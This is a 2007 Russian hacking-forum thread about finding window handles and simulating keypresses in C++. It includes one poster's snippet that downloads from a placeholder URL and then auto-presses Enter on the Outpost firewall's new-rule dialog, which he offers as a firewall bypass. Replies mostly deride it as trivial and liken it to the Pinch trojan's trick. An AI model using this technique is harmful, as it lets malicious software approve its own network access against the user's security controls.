Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Захват хендла окна (c++) (https://forum.antichat.xyz/showthread.php?t=50250)

kotel 01.10.2007 14:41

Захват хендла окна (c++)
 
Изучил довольно много информации по хендлу.Планирую использовать в мирных целях,но думаю и для обхода фаеров пригодиться многим ;)

PHP код:

HWND hWnd;
hWnd FindWindow("Класс приложения"NULL);
hWnd FindWindowEx(hWndNULL"Класс кнопки/строки и прочего"NULL);

if (
IsWindow(hWnd))
{
 
// Кнопка найдена, работаем с ней


Код работает прекрасно,но ..вот пример:
PHP код:

HWND hWnd;
hWnd FindWindow("Notepad"NULL);
hWnd FindWindowEx(hWndNULL"Edit"NULL);

if (
IsWindow(hWnd))
{
keybd_event(VK_SPACE,0,0,0);
keybd_event(VK_SPACE,0,KEYEVENTF_KEYUP,0);




Работа с блокнотом,а точнее эмуляция нажатия кнопок SPACE,проблема в том,что программа (эмуляция) работает корретно,только в случае (!) если Notepad - является (!)активным окном.В противном случа нет.Вопрос,есть ли способы переключения активного окна?Гугль не помог.

LEE_ROY 01.10.2007 14:53

попробуй SetForegroundWindow

groundhog 01.10.2007 14:53

Во-первых, я не понял при чём тут обход фаеров? Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка. Мало того, что в MSDN это есть, так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow. Дальше сам.

kotel 01.10.2007 15:24

groundhog
Цитата:

я не понял при чём тут обход фаеров?
Обдумав 30 секунд набросал:
PHP код:


URLDownloadToFile
(NULL"http://url.succes.txt""succes.txt"0NULL); //дразним оутпост

HWND hWnd;
hWnd FindWindow("#32770"NULL); //находим окно создания правила 
//для нового приложения


if (IsWindow(hWnd))
{
keybd_event(VK_RETURN,0,0,0); 
//создаем правило:),по умолчанию задает ему как Web 
//браузер.поэтому достаточно 1 нажатия :))



Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать :))

Цитата:

Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка.
Спасибо учту.Я не люблю отмазываться :).

Цитата:

так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow.
Однако не имел понятия про подобные функции.Спасибо.Думаю теперь уже они не понадобяться :)

LEE_ROY
Цитата:

попробуй SetForegroundWindow
Спасибо пошел искать инфу.

Exile1985 01.10.2007 15:42

Изучив много карт и глобусов, могу твердо заявить: земля КРУГЛАЯ!!!.
Я буду использовать эту информацию в мирных целях, хотя ею можно воспользоваться и в других менее мирных целях.

groundhog 01.10.2007 15:51

Клацанье по кнопкам это не обход фаеров...

_Great_ 01.10.2007 16:20

Цитата:

Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать )
Ну боянище же это раз. Два - какой это нафиг обход?

GlOFF 01.10.2007 16:28

Цитата:

Сообщение от _Great_
Ну боянище же это раз. Два - какой это нафиг обход?

Ну так пинч же тоже по кнопочкам клацал, как бы "обходя" KIS и OUTPOST. Это не обход, это скорее обман :D

Ni0x 01.10.2007 22:51

Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..

Exile1985 02.10.2007 09:11

Цитата:

Сообщение от Ni0x
Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..

не говори как, мы, долгие годы молчали и никому не рассказывали об этом секрете, а ты вот взял и спалил всех нах.

Как скажи мне мы теперь будем обходить врейвол, ведь бравые бойци из агниума закроют эту дыру.

И как нам теперь быть!? Засрал малину?!


Время: 07:25